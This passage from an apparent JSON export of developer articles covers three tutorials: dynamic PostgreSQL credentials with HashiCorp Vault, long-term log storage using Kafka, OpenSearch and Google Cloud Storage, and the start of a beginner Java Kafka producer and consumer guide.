\\\n connection_url=\"postgresql://{{username}}:{{password}}@[HOST]:[PORT]/defaultdb\" \\\n username=[USER] \\\n password=[PASSWORD]\n```\n\nAlthough we created the `metrics-readwrite` role in the previous command, we didn't tell Vault what this role is allowed to do. Let's configure the role `metrics-readwrite` and tell Vault what actions a user/app with that role can perform on the database.\n\nIn the following command, I'm telling Vault that a user/app with `metrics-readwrite` role should be allowed to perform both read and write (hence the **GRANT ALL**) actions on the `weekly_metrics_reporting` table and a credential generated with such role should have a default TTL (Time To Live - the time before the credential expires) of 1 hour. \n\n```\nvault write database/roles/metrics-readwrite \\\n db_name=aiven-for-postgresql-database \\\n creation_statements=\"CREATE ROLE \\\"{{name}}\\\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}'; \\\n GRANT ALL ON weekly_metrics_reporting TO \\\"{{name}}\\\";\" \\\n default_ttl=\"1h\" \\\n max_ttl=\"24h\"\n```\n\nYou can also expand the access for this role to multiple tables based on your need.\n\n## Generate credentials on demand\n\nNow that we're all set, let's generate a dynamic credential for the weekly metrics reporting app. Assuming that your application developer has access (a valid Vault token) to talk to the Vault server, they can programmatically generate credentials:\n\n```\nvault read database/creds/metrics-readwrite\n```\n\nWhen I ran the above command, the output was:\n\n```\nKey Value\n--- -----\nlease_id database/creds/metrics-readwrite/nt26w4S0o17hSSnNAb9QAO5g\nlease_duration 1h\nlease_renewable true\npassword afk0P-R8YgfAlblsyRzt\nusername v-root-metrics--V7OeOHoN5Vca3qhd8JJk-1647544001\n```\n\nIn the terminal output, we see the new credentials that the application can use. There is also the lease duration which is set to an hour, so the credentials won't work after that amount of time. This reduces the security risk that long-lived database credentials pose. \n\nIf you are using Aiven for PostgreSQL, then you can validate that a database credential was indeed created from the [Aiven Console](https://console.aiven.io) under the Services \u003e Your PostgreSQL service \u003e Users tab. \n\nA more general way to test that the generated credential indeed works as expected, is by using `psql`:\n\n```\npsql -h [HOST] -p [PORT] -U \u003cPG-username-generated-above\u003e defaultdb\n```\n\nWhen prompted for the password, use the password from the dynamic credential generated above. For the example output, I replaced the \\\u003cPG-username-generated-above\\\u003e with *v-root-metrics--V7OeOHoN5Vca3qhd8JJk-1647544001* and used *afk0P-R8YgfAlblsyRzt* as the password. These values will differ when you execute the command.\n\nOnce you're in, try the following two commands:\n\n```\nselect * from weekly_metrics_reporting;\nselect * from employee_salary;\n```\n\nThe first command should output the following table:\n\n| id | week_ending | product_downloads | github_stars | twitter_followers |\n|---|---|---|---|---|\n| 1 | 2022-02-25 00:00:00 | 110005 | 2300 | 17500 |\n| 2 | 2022-03-04 00:00:00 | 116097 | 2600 | 20300 |\n| 3 | 2022-03-11 00:00:00 | 129000 | 3300 | 22800 |\n\nThe second command should produce an error message:\n\n```\nERROR: permission denied for table employee_salary\n```\n\n### Optional: Custom username for credentials\n\n```\nvault write database/config/aiven-for-postgresql-database \\\n plugin_name=postgresql-database-plugin \\\n allowed_roles=\"aiven-dev-role\" \\\n connection_url=\"postgresql://{{username}}:{{password}}@[HOST]:[PORT]/defaultdb\" \\\n username=[USER] \\\n password=[PASSWORD] \\\n username_template={{.DisplayName}}_{{.RoleName}}_{{uuid}}\n```\n\nWhen I ran this command, it created a credential with username **root_aiven-dev-role_50f85d2f-2d61-41f9-8759-15f3d6798a35** but this will be different based on your Vault username, the name of the role, and a random UUID. The flag `username_template` suggests the pattern to follow when generating the username. You can learn more on Vault's username templating [from the Vault docs](https://www.vaultproject.io/docs/concepts/username-templating).\n\n## Wrap up\n\nTo recap, I discussed why long-lived database credentials pose a security risk and how dynamic database credentials can help in that regard. I covered a hands-on exercise on setting up a managed PostgreSQL service on Aiven and using Vault to generate a dynamic database credential for that database. \n\n## Further learning\n\nTo learn more about Aiven's managed PostgreSQL offering and HashiCorp Vault, check out:\n\n- [Aiven for PostgreSQL® docs](https://aiven.io/docs/products/postgresql/index.html)\n\n- [HashiCorp Vault docs](https://www.vaultproject.io/docs)\n\nIf you're not using Aiven services yet, sign up now for your free trial at https://console.aiven.io/signup!\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:31:40.584Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"dec78bda8a6d","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-03-31T00:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-6e1a283a38a86e1da6a44c369fb06b7fdf491479-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/secure-your-db-with-vault"},"subtitle":"Static credentials are a potential security risk. Learn how to setup dynamic credentials for your PostgreSQL® database with Hashicorp Vault.","tags":[{"_key":"a83a723dc4af","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"18f3b89a73e7","_ref":"fa0b1639-9dee-4ebb-b11d-604f485dfc6e","_type":"tag"},{"_key":"5d2b6a2466f3","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"cf6323e0e89f","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"ae1f0069be65","_ref":"78503d0a-beea-4f7f-ab11-c2b8fffadb7b","_type":"tag"}],"title":"Secure your database access with HashiCorp Vault"} {"__i18n_lang":"en","_createdAt":"2023-03-20T14:26:50Z","_id":"15a7ecb8-dc66-4915-b872-181acb760d35","_rev":"neae7oL4y1FotDvvRMmBlN","_type":"devArticle","_updatedAt":"2024-07-11T14:13:38Z","body":"Tiered storage lets you extend expensive disk based storage, commonly used for data applications, with cheap object storage. \nThis lets you store more data at a fraction of the cost. Data retrieval times are slower, but for some use cases it's worth doing. One common use case is storing data for long periods due to regulatory requirements.\n\nBoth Apache Kafka® and OpenSearch® have tiered storage functionality as an additional feature to the open source release, but not in the core projects themselves at this time. We decided to implement this feature using Kafka Connect at Aiven so our customers don't have to wait!\n\nLet's use an example of Aiven for Apache Kafka® as a logging source that generates data we want to send to a tiered storage solution. We'll use Terraform to define our services. \n\nThis post covers use cases where logging volumes grow exponentially as you scale. For example, you might work in an industry where compliance regulations require log retention for 7 years but, for your own observability, you rarely require logs older than 14 days. Storing all 7 years of logs can become financially problematic or require you to use more resources than you would typically need. \n\nIn this example, Apache Kafka acts as a data source for itself, but you can use Filebeat or other any other [OpenSearch agent or ingestion tool](https://opensearch.org/docs/latest/tools/index/#agents-and-ingestion-tools) supported. \n\n![Architecture diagram of the logging architecture we will implement.](https://cdn.sanity.io/images/sczeoy4w/production/2337e3a2d540d927216765a7590fadbc4afbc9f5-1500x597.png)\n\nUsing Apache Kafka, you can push logs through message queues and utilize the Kafka ecosystem (Kafka Connect, primarily) to store logs in multiple destinations. This provides redundancy, as well as cost benefits. We'll use Apache Kafka as our log transport mechanism and push logs into both OpenSearch and Google Cloud Storage. In OpenSearch, we will retain logs for 14 days then remove the indices automatically. Next we'll create a Google Cloud Function to help developers retrieve logs from object storage as needed and reindex them in OpenSearch.\n\nWe'll do the following:\n1. Deploy Aiven for Apache Kafka with Kafka Connect support enabled.\n2. Create a `Logging` Service Integration that will allow Kafka to log to a topic within itself\n3. Deploy Aiven for OpenSearch and create an Index Pattern for the logging format we will use (one new index per day)\n4. Configure Aiven for OpenSearch to only hold the last 14 indices and delete older ones so that we do not have to monitor our index count or manually clean them up\n5. Configure the Google Cloud Storage Sink Connector to log to a bucket in our Google Cloud\n6. Configure the OpenSearch Sink Connector to log to a daily index in our Aiven for OpenSearch\n7. Deploy a Google Cloud Function that can take the name of a log file (and OpenSearch credentials) and restore the file to an index we specify\n\n\n## Set up\n\nWe'll use Aiven for Apache Kafka for this example, so before you do anything make sure to either [sign up for a new account](https://console.aiven.io) or log into an existing one. Registering with Aiven automatically signs you up for a free 30 day, 300 credit trial with no credit card needed!\n\nYou'll also need your own [Google Cloud Storage](https://cloud.google.com/storage) account, as we'll use that as our object storage.\n\nWe'll implement a data stream that goes from Aiven for Apache Kafka and is stored in Aiven for OpenSearch. We'll then implement object storage using Google Cloud Storage. We'll write a Google Cloud Function to retrieve cold data and re-index it in OpenSearch as needed. We'll use Aiven for Apache Kafka Connect, specifically the [OpenSearch Sink Connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink.html) and [Google Cloud Storage Sink Connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/gcs-sink.html) to wire the services together.\n\nTo replicate the example:\n- Clone the [Aiven examples repository](https://github.com/aiven/aiven-examples) and navigate to `solutions/kafka_long_term_logging`\n- Store your Google Cloud Storage account credentials in the `terraform/gcreds.json` file\n- Generate an [Aiven API token](https://aiven.io/docs/platform/howto/create_authentication_token)\n- Copy the `secrets.tfvars.example` file and rename it `secrets.tfvars`. Populate it with your Aiven API token, project and service names\n\n## Compose the solution\n\nOnce we have cloned the repository, take a look at the files inside. Essentially we have a Terraform plan to configure our services and the function used to restore files from Google Cloud Storage. Let's break down what we have:\n\n* `terraform/`\n * `gcp/`\n * `cloud_function` - the source code for our restore function: a Python file with the dependencies in a `requirements.txt` file\n * `restore.zip` - The `cloud_function` folder compressed to be uploaded by Terraform\n * `google_cloud_function.tf` - The Terraform script for uploading the function to a bucket and creating a Google Cloud Function from the resulting upload\n * `main.tf` - The main Terraform script that will create the needed services and then create the Google Cloud Function using the resulting connection parameters\n * `variables.tf` - Used for the names of the services we want to deploy, their location and Google Cloud config\n\n### Terraform\n\nInitialize and deploy the Terraform plan by pulling the necessary modules from [Aiven](https://registry.terraform.io/providers/aiven/aiven/) and [Google Cloud](https://registry.terraform.io/providers/hashicorp/google/). In the `secrets.tfvars` file, add our Aiven credentials:\n\n```\naiven_api_token = \"$YOUR_API_TOKEN\"\n\nproject = \"$YOUR_PROJECT_NAME\"\ncloud = \"$YOUR_CLOUD_REGION\"\n\nkafka_svc = \"kafka-logger\"\nes_svc = \"os-logger\"\n```\n\nFor now, don't touch the `kafka_svc` or `es_svc` values. Google Cloud's Terraform provider does not need authentication because it authenticates itself, if you do not have this configured then the provider will prompt and guide you.\n\nEnable Google Cloud Function and Google Cloud Build APIs enabled in the [Google Cloud Console](https://console.cloud.google.com/apis/credentials).\n\nNext, run the following from the `terraform/` directory to initialize Terraform, create the execution plan and execute: \n\n```bash\nterraform init\nterraform plan --var-file=secrets.tfvars\nterraform apply --var-file=secrets.tfvars\n```\n\nOnce complete, you will have an Aiven for Apache Kafka service logging to itself and an Aiven for OpenSearch service to receive them. In Google Cloud, you will see a new Cloud Function, called `restore`, has been created. \n\n### Google Cloud Functions\n\nThe `restore` function is a Python script which calls an HTTP endpoint with the bucket we want to restore from, the file we want to restore and the name of the OpenSearch index to restore to. We need to set the connection information for our Aiven for OpenSearch cluster in the environment variables for the function:\n\n1. Navigate to Google Cloud Console, go to Cloud Functions and select the testing tab\n2. Use the testing tab to send an example request that will restore the provided file in a specified Google Cloud Storage bucket to a specified index in your OpenSearch cluster.\n\nAn example request might look like:\n\n```bash\ncurl -m 70 -X POST https://google-demo.cloudfunctions.net/os-restore \\\n-H \"Authorization:bearer $(gcloud auth print-identity-token)\" \\\n-H \"Content-Type:application/json\" \\\n-d '{\n \"bucket\": \"os_backup\",\n \"file\": \"YYYY-MM-DD.json\",\n \"index\": \"restore-YYYY-MM-DD\"\n}'\n```\n\nIn this request, you provide the following:\n\n1. Your Google Cloud authentication token\n2. The name of the bucket you are storing logs in\n3. The filename you want to restore\n4. The index to restore to\n\nSending this creates a new index and adds the specified file contents to it. You can extend this to send an entire bucket or folder.\n\nAnd voilà, you have near unlimited storage for your logs using Kafka as your log transport system and backing up to object storage with a `restore` function. As an added benefit, the Aiven platform automatically clears indexes matching the provided index pattern every few days; which means you do not need to maintain or worry about your cluster becoming too full.\n\n## Conclusion\n\nWhat just happened, you ask? The magic of Terraform is not only in its ability to allow infrastructure to be managed in a similar way to how we manage code, it also allows us to share ideas in a reproducible and configurable way. No longer do we copy bash commands and have a webpage open on one side of the monitor with our IDE on the other, you can read this beautiful prose without interruption and then see that the author is not lying to you by running it yourself. It is the definition of, \"here's one you can try at home\". \n\nThis suggestion was born out of two needs: a need to enable engineering teams to be able to debug their applications and a need for the company to retain those logs to meet the compliance requirements of their industry. A true open source solution does not (yet) exist that allows OpenSearch to expand its storage infinitely using S3-compatible storage. It appears to be quite common that logs are not going directly to OpenSearch and are, instead, passing through Apache Kafka as a transport medium. This makes sense, not only from a scaling perspective but also to allow maintenance on your OpenSearch cluster without needing to impact your o11y solution and, as shown here, to enable the same data to be reused in multiple locations; compliance in sending logs to Cloud Storage and o11y in sending logs to OpenSearch.\n\n## Further reading\n\n- Read more about Kafka's proposed implementation of object storage functionality in [KIP-405](https://cwiki.apache.org/confluence/display/KAFKA/KIP-405%3A+Kafka+Tiered+Storage)\n- Wire more services up with [Aiven for Apache Kafka Connect](https://aiven.io/docs/products/kafka/kafka-connect/get-started)\n- See the [Google Cloud Storage sink connector data formats](https://aiven.io/docs/products/kafka/kafka-connect/reference/gcs-sink-formats) for specifics on how to send things to and from Google Cloud Storage\n- Read more about configuring an [AWS S3 sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-prereq), if you don't want to use Google Cloud Storage for your object storage solution","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-27T13:26:47.401Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"ac3c15c8a721","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-02-09T10:03:00.000Z","seo":{"_type":"metaData","metaDescription":"Meet your compliance goals by using Aiven for OpenSearch®, S3 storage and Aiven for Apache Kafka®. Find out more and visit the Aiven Developer Center!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-05db72145ab617e4f3916c28fb55b66a6ded1482-1567x844-jpg","_type":"reference"}},"metaTitle":"Long-term Logging with Aiven for OpenSearch and Kafka"},"slug":{"_type":"slug","current":"/developer/long-term-logging-aiven-opensearch-apache-kafka"},"subtitle":"Meet your compliance goals using Aiven for OpenSearch®, S3 storage and Aiven for Apache Kafka®.","tags":[{"_key":"5a4ddb4fad9a","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"01e588cfc76c","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"Long Term Logging with Aiven for OpenSearch® and Aiven for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2023-03-20T14:36:14Z","_id":"708e28f7-1967-4d52-b9d6-07906f776fe4","_rev":"VeNKqGNmt13PzvGhqsSgOk","_type":"devArticle","_updatedAt":"2024-01-29T15:45:49Z","body":"It's difficult to imagine the development of mission-critical software without relying on an event streaming platform such as Apache Kafka®. But perhaps you're new to Apache Kafka and want to go deeper. You're in the right place! This article will guide your first steps using Apache Kafka with Java.\n\nIf you can't wait to see the final result, [this GitHub repository has the producer and consumer](https://github.com/anelook/apache-kafka-first-steps-java) we'll write in the step-by-step guidance provided in this article. \n\n## Get equipped with what you need\n\nIn this blog post you'll learn how to create an Apache Kafka producer and a consumer in Java. You'll prepare configuration files needed for a secure connection and write some Java to send messages to the cluster and poll them back.\n\nBefore you start writing the code, there are several things you'll need to prepare. \n\n### Apache Kafka cluster\n\nFirst, you'll need Apache Kafka cluster itself. To simplify the setup, you can use [Aiven for Apache Kafka®](https://aiven.io/kafka). Aiven for Apache Kafka® is a fully managed solution which builds a cluster with the correct configuration in just minutes, takes care of secure authentication, and other essentials. If you don't have an Aiven account yet, register for [a free trial](https://console.aiven.io/signup). \n\nOnce you're in the console, create a new service: in the **Create service** dialog select **Apache Kafka**, **the cloud** of your choice and the nearest to you **cloud region**. The **Startup** service plan is sufficient for today. Set a name for your service, for example **apache-kafka-playground**. \n\nWhile deploying the service, you can proceed with other tasks.\n\n![Screenshot of an Apache Kafka service's overview in the Aiven Console. The service is still building.](https://cdn.sanity.io/images/sczeoy4w/production/aaaac782ee0f8eda01abceedbdc7ce3952a90f00-1500x758.png)\n\n### Java project with dependencies\n\nThe second thing you'll need is a JDK installed on your computer and a basic Java project. This article assumes you have basic knowledge of Java. I used the Java 11 JDK when running this code, but Apache Kafka supports up to Java 17.\n\nYou'll also need an official low-level Apache Kafka client library for Java, a *reference client*, to create a producer and a consumer. Note that if you plan to work with Java APIs for Kafka Streams or Kafka Connect, you'll need an additional set of libraries. \n\nThe most convenient way of including ``kafka-client`` in your Java project is by either using [Maven](https://maven.apache.org/) or [Gradle](https://gradle.org/). Select the latest version of the [kafka-client from mvnrepository](https://mvnrepository.com/artifact/org.apache.kafka/kafka-clients), choose which build tool you use, copy the dependency and add it to your project. \n\n![Screenshot of selecting the Gradle dependency information from the Maven Repository site](https://cdn.sanity.io/images/sczeoy4w/production/7925b4d213e06ccdc34253bc909f607530d6aa2b-1500x1071.png)\n\nI used Gradle. I pasted the dependency into the *build.gradle* file and let Intellij Idea load necessary files by selecting **Reload All Gradle Projects**. \n\nIn addition to Apache Kafka client, you'll also need several other libraries:\n- [slf4j-simple](https://mvnrepository.com/artifact/org.slf4j/slf4j-simple) for logging\n- [JSON](https://mvnrepository.com/artifact/org.json/json) to create and parse JSON objects\n\n## Set up configuration and authentication for Apache Kafka\n\nBefore creating the producers and consumers, you need to specify several configuration properties. These ensure that information exchanged by Kafka brokers and clients is kept complete, secure, and confidential. \n\nAiven offers two authentication approaches: **TLS** and **SASL**. In this article we'll use TLS for both authentication and encryption. If you want to use SASL, check out [the SASL instructions in Aiven's documentation](https://aiven.io/docs/products/kafka/howto/kafka-sasl-auth.html).\n\nUsually, to perform a TLS handshake, you need to configure both Apache Kafka brokers and the clients. To simplify things Aiven takes care of TLS configuration for the brokers, so you only need to configure the clients. And, as we'll see, even with the clients Aiven does most of the work for you. \n\nTo establish a TLS connection between the client and the server three things need to happen:\n\n1. The client needs to verify the identity of the server.\n2. The server needs to verify the identity of the client.\n3. All messages in transit between the client and server must be encrypted.\n\nTo do this, we'll use Java truststores and keystores.\n\nA truststore in Java is a place where you store the certificates of external systems that you trust. These certificates don't contain sensitive information, but they are important to identify and connect to a third-party system. On the other hand, the keystore contains the private access key and its corresponding access certificate, which are needed to authenticate the client. You shouldn't share keystore data with anyone.\n\nIf you're adventurous, you can create these files manually (here is [the guide](https://aiven.io/docs/products/kafka/howto/keystore-truststore.html) how to do this). However, you can also use a convenient shortcut and let Aiven platform do all the job for us. \n\nRun [``avn service user-kafka-java-creds``](https://aiven.io/docs/tools/cli/service/user.html#avn-service-user-kafka-java-creds) using the [Aiven CLI](https://aiven.io/docs/tools/cli.html) with the information about the service and the user:\n\n- **YOUR-SERVICE-NAME** - the name of your Apache Kafka service as you defined it during creation\n- **YOUR-USER-NAME** - the name of the user who performs the operation (if you're in doubt, run ``avn service user-list --format '{username}' --project YOUR-PROJECT-NAME YOUR-SERVICE-NAME`` to see users)\n- **PASSWORD** - select a secure password for your keystore and truststore\n\nNow using apply those fields to the command below and run it:\n\n```java\navn service user-kafka-java-creds YOUR-SERVICE-NAME --username YOUR-USER-NAME -d src/main/resources --password PASSWORD\n```\n\nIf all goes well you will see six new files appear in the **resources/** folder. Aiven downloads necessary certificates, creates both keystore and truststore, as well as puts all references into a single file **client.properties**.\n\n![Screenshot of 6 new credential files created after running the command \"avn service user-kafka-java-creds.\" These files are in the \"src/main/resources\"The files are titled ca.pem, client.keystore.12, client.properties, client.truststore.jks, service.cert, and service.key.](https://cdn.sanity.io/images/sczeoy4w/production/5f858254167fd54dad5f42dd8da14387eb2f9a1f-1040x408.png)\n\nTo make it easier to read the settings that are located in **client.properties**, add a small static method ``loadProperties`` into a new class ``Utils``:\n\n```java\npackage org.example;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport org.apache.kafka.common.serialization.StringSerializer;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic class Utils {\n public static Properties loadProperties() {\n Properties properties = new Properties();\n try (InputStream input = ProducerOneMessage.class.getClassLoader().getResourceAsStream(\"client-ssl.properties\")) {\n if (input == null) {\n System.out.println(\"Sorry, unable to find config.properties\");\n }\n properties.load(input);\n properties.put(\"key.serializer\", StringSerializer.class.getName());\n properties.put(\"value.serializer\", StringSerializer.class.getName());\n } catch (IOException ex) {\n ex.printStackTrace();\n }\n return properties;\n }\n}\n```\n\nCongratulations! You're done with the configuration settings.\n\n## Dispatch events to Apache Kafka cluster\n\nTime to send the data to the Apache Kafka cluster. For this you need a producer.\nIn your project create a new Java class called ``Producer`` and add the main method there. \n\nTo send a message you'll need to do these four steps:\n\n```java\npublic class Producer {\n public static void main(String[] args) {\n // Step # 1: create a producer and connect to the cluster\n // Step # 2: define the topic name\n // Step # 3: create a message record\n // Step # 4: send the record to the cluster\n }\n}\n```\n\nFor each of these steps you can rely on the functionality provided by the official Apache Kafka client library for Java, which you added as a dependency previously.\n\nHere is what you have to import for the Producer class to work:\n\n```java\nimport org.apache.kafka.clients.producer.KafkaProducer;\nimport org.apache.kafka.clients.producer.ProducerRecord;\nimport org.apache.kafka.common.serialization.StringSerializer;\nimport org.json.JSONObject;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport java.util.Properties;\n```\n\nit's also a good idea to use an instance of ``Logger`` to log events later.\n\n```java\nLogger logger = LoggerFactory.getLogger(Producer.class.getName());\n```\n\n### Step 1: create a producer and connect to the cluster\n\nThe constructor of ``KafkaProducer`` expects a list of properties to establish a connection. You already did most of the heavy lifting to define a connection configuration in the previous section. Now, just reference those entries with the helpful utility method ``Utils.loadProperties()`` that you added above.\n\n```java\n// step # 1: create a producer and connect to the cluster\n// get connection data from the configuration file\n\nProperties properties = Utils.loadProperties();\nKafkaProducer\u003cString,String\u003e producer =\n new KafkaProducer\u003c\u003e(properties);\n```\nOne more thing you need to define is the format to serialize data in. In this example we'll send JSON objects as strings using``StringSerializer``. You should also add a serializer for the key. Even though you won't need to use the keys explicitly in the first example, specifying ``key.serializer`` is mandatory. \n\n```java\nproperties.put(\"key.serializer\", StringSerializer.class.getName());\nproperties.put(\"value.serializer\", StringSerializer.class.getName());\n```\n\nNow that you have a set of properties to establish a connection, you can create an instance of ``KafkaProducer`` and pass the properties into its constructor:\n\n```java\nKafkaProducer\u003cString,String\u003e producer = new KafkaProducer\u003cString, String\u003e(properties);\n```\n\nAt this point you don't send any data to the cluster. However, it's useful to run the ``Producer`` to see how the connection with the server is established and if there are any errors:\n\n![Establishing a connection with the Kafka server](https://cdn.sanity.io/images/sczeoy4w/production/f2727d779e80cd1bcf2299c3c456ba39448cd564-1500x1094.png)\n\n### Step 2: define the topic name\n\nWhen sending the data to the cluster, you need to define a topic to send the message to.\n\nI created a topic named *customer-activity* which records activity of customers in an online shop. You can be more creative and choose a different theme for your messages!\n\n``` java\nString topicName = \"customer-activity\";\n```\n\nNote that once you select the name of your topic, you need to create it in your Aiven for Apache Kafka® cluster. Even though you can configure Apache Kafka to create topics automatically upon message arrival, it's best to keep that option disabled to avoid accidentally creating a bunch of unnecessary topics. You can create a topic in Aiven for Apache Kafka® using the handy CLI shortcut [``avn-cli-service-topic-create``](https://aiven.io/docs/tools/cli/service/topic.html#avn-cli-service-topic-create) or follow [these steps to create a topic](https://aiven.io/docs/products/kafka/howto/create-topic.html) through the Aiven console.\n\nHere is the configuration of the topic I used, you can see that it contains three partitions and three replications:\n\n![Screenshot that shows adding a new topic using Aiven's console](https://cdn.sanity.io/images/sczeoy4w/production/9f4444e31987627f5942c9b1f0753abbb0fc7e28-942x434.png)\n\n### Step 3: create a message record\n\nMessages can be sent in a variety of formats: String, JSON, Avro, protobuf, etc. In fact, Kafka doesn't have any opinion on the structure of data you want to send, which makes the platform very flexible. At times this gets messy, but [Karapace, Aiven's open source schema registry](https://aiven.io/blog/what-is-karapace), can help you organize your data better if needed.\n\nFor simplicity, use JSON for this example and define an object with three properties: a customer name, an operation that was performed and a product that was affected.\n\n```java\nJSONObject message = new JSONObject();\nmessage.put(\"customer\", \"Judy Hopps🐰\");\nmessage.put(\"product\", \"Carrot 🥕\");\nmessage.put(\"operation\", \"ordered\");\n```\n\nCreate a new ``ProductRecord`` instance by passing the topic name and the message to the constructor:\n\n```java\n// package the message in the record\nProducerRecord\u003cString, String\u003e record = new ProducerRecord\u003c\u003e(topicName, message.toString());\nlogger.info(\"Record created: \" + record);\n```\n\nNote, that using ``\u003cString, String\u003e`` indicates that the producer expects both the key and the value in ``String`` format. \n\n### Step 4: send the record to the cluster\n\nFinally, to send the message to Apache cluster topic, call the ``send()`` method of the producer instance and provide it with the record:\n\n```java\nproducer.send(record);\nproducer.flush();\nproducer.close();\n```\n\nTo run the producer, call the ``main()`` method of ``Producer`` class with the help of the IDE. Alternatively, you can use Gradle and set up the tasks to run the producer, as it's done [in the accompanying repository](https://github.com/anelook/apache-kafka-first-steps-java/blob/main/build.gradle). You should see the output similar to this:\n\n![Screenshot showing running producer that sent a single message to the cluster](https://cdn.sanity.io/images/sczeoy4w/production/9f4444e31987627f5942c9b1f0753abbb0fc7e28-942x434.png)\n\nThe ``send()`` method of the producer also accepts a callback interface, which provides us with metadata and information about exceptions. You can introduce it by doing the following changes:\n\n```java\nproducer.send(record, new Callback() {\n @Override\n public void onCompletion(RecordMetadata metadata, Exception exception) {\n if(exception == null) {\n logger.info(\"Sent successfully. Metadata: \" + metadata.toString());\n } else {\n exception.printStackTrace();\n }\n }\n});\nproducer.flush();\nproducer.close();\n```\n\n``RecordMetadata`` and ``Callback`` will need extra imports:\n\n```java\nimport org.apache.kafka.clients.producer.RecordMetadata;\nimport org.apache.kafka.clients.producer.Callback;\n```\n\n## Send multiple messages \n\nGreat, you successfully sent a single message to the cluster! However, sending messages one by one is tedious. Before moving to the consumer, transform the code to imitate a continuous (even if overly simplified) flow of data.\n\nTo do this, let's separate the method to generate messages:\n\n```java\n\nstatic final String[] operations = {\"searched\", \"bought\"};\nstatic final String[] customers = {\"Judy Hopps🐰\", \"Nick Wilde🦊\", \"Chief Bogo🐃\", \"Officer Clawhauser😼\", \"Mayor Lionheart 🦁\", \"Mr. Big 🪑\", \"Fru Fru💐\"};\nstatic final String[] products = {\"Donut 🍩\", \"Carrot 🥕\", \"Tie 👔\", \"Glasses 👓️️\", \"Phone ☎️\", \"Ice cream 🍨\", \"Dress 👗\", \"Pineapple pizza 🍕\"};\n\npublic static JSONObject generateMessage() {\n JSONObject message = new JSONObject();\n \n // randomly assign values\n Random randomizer = new Random();\n message.put(\"customer\", customers[randomizer.nextInt(7)]);\n message.put(\"product\", products[randomizer.nextInt(7)]);\n message.put(\"operation\", operations[randomizer.nextInt(30) \u003c 25 ? 0 : 1]); // prefer 'search' over 'bought'\n\n return message;\n}\n```\n\nAnd now combine the steps to generate and send data within an endless while loop. Note that using ``while(true)`` and ``Thread.sleep`` aren't things you want to do in a production environment, but for our purposes they work well: \n\n```java\ntry (KafkaProducer\u003cString,String\u003e producer = new KafkaProducer\u003c\u003e(properties)) {\n // step # 2: define the topic name\n String topicName = \"customer-activity\";\n\n // step # 3: generate and send message data\n while(true) {\n // generate a new message\n JSONObject message = generateMessage();\n\n // package the message in a record\n ProducerRecord\u003cString, String\u003e record =\n new ProducerRecord\u003c\u003e(topicName, message.toString());\n logger.info(\"Record created: \" + record);\n\n // send data\n producer.send(record, new Callback() {\n @Override\n public void onCompletion(RecordMetadata metadata, Exception exception) {\n if(exception == null) {\n logger.info(\"Sent successfully. Metadata: \" + metadata.toString());\n } else {\n exception.printStackTrace();\n }\n }\n });\n Thread.sleep(1000);\n }\n}\n}\n```\n\nNow while running the producer, you continuously send records into the cluster:\n\n![Screenshot showing the producer sending multiple messages to the Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/3c36007a192126d3b02e5276a605936cde106ac1-1500x770.png)\n\n\n## Consume the data from Apache Kafka topic\n\nNow that the messages are generated and sent by the producer into the cluster, you can create a consumer to poll and process those messages.\n\nCreation of a simple consumer can be divided into three steps:\n\n```java\npublic class Consumer {\n public static void main(String[] args) {\n // Step # 1: create a consumer and connect to the cluster\n // Step # 2: subscribe consumer to the topics\n // Step # 3: poll and process new data\n }\n}\n```\n\nHere are the imports for the code below:\n\n```java\nimport org.apache.kafka.clients.consumer.ConsumerRecord;\nimport org.apache.kafka.clients.consumer.ConsumerRecords;\nimport org.apache.kafka.clients.consumer.KafkaConsumer;\nimport org.apache.kafka.common.serialization.StringDeserializer;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.time.Duration;\nimport java.util.Collections;\nimport java.util.Properties;\n```\n\n### Step 1: create a consumer and connect to the cluster\n\nSimilar to how you configured the producer's properties, you need to specify connection information for the consumer. \n\n```java\n// step # 1: create a consumer and connect to the cluster\n// get connection data from the configuration file\nProperties properties = Utils.loadProperties();\nproperties.put(\"key.deserializer\", StringDeserializer.class.getName());\nproperties.put(\"value.deserializer\", StringDeserializer.class.getName());\nproperties.put(\"group.id\", \"first\");\nproperties.put(\"auto.offset.reset\", \"earliest\"); //choose from earliest/latest/none\n\n```\n\nIn addition to the properties that you used for producer, the consumer has a couple of new ones. First, the consumer needs to be able to deserialize the data that it reads from the cluster, so instead of serialization properties you define deserialization ones:\n\n```java\nproperties.put(\"key.deserializer\", StringDeserializer.class.getName());\nproperties.put(\"value.deserializer\", StringDeserializer.class.getName());\n```\n\nYou also need to assign the consumer to a consumer group. Do this by specifying a ``group.id``:\n\n```java\nproperties.put(\"group.id\", \"first\");\n```\n\nThe last thing you should define is the point from which the consumer should start reading the data when it first connects to a topic. You can define a specific offset, or, alternatively, point to either the earliest or the latest message currently present in the topic. Set ``auto.offset.reset`` to ``earliest`` to read the 